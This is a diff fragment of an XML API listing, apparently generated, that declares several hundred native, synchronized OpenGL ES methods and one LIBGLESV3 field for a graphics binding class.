+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArraysIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFlushMappedBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUseProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparatei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnablediEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glResumeTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramPipelineInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCreateShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsInstancedBaseVertex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetInternalformativ" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMemoryBarrier" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindSampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArraysInstanced" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage2DMultisample" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenTransformFeedbacks" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexLevelParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTextureLayer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageInsert" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetnUniformuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBeginQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glValidateProgramPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPrimitiveBoundingBox" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glObjectPtrLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFloatv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrontFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFragDataLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderPrecisionFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSynciv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBeginTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindImageTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReleaseShaderCompiler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPopDebugGroupKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyImageSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawRangeElementsBaseVertex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDetachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegeri_v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMinSampleShading" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPatchParameteriEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReadPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetRenderbufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTransformFeedbackVarying" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformBlockBinding" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribIPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPointervKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceIndex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageControlKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetStringi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniformsiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOpSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribDivisor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexBufferRangeEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTextureEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glAttachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlitFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparateiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBGLESV3" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleMaski" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyImageSubDataEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCreateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindBufferBase" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetGraphicsResetStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenSamplers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompileShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsInstanced" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniformBlockiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPixelStorei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniformBlockName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendBarrier" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabledi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMinSampleShadingOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteQueries" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEndTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetMultisamplefv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleani_v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPushDebugGroupKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexBufferEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorMaski" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glObjectLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformBlockIndex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexBindingDivisor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetnUniformfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPauseTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glWaitSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteProgramPipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetQueryObjectuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparateiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glInvalidateFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTransformFeedbackVaryings" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCheckFramebufferStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsSampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix2x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReadnPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearStencil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glShaderBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorMaskiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReadBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
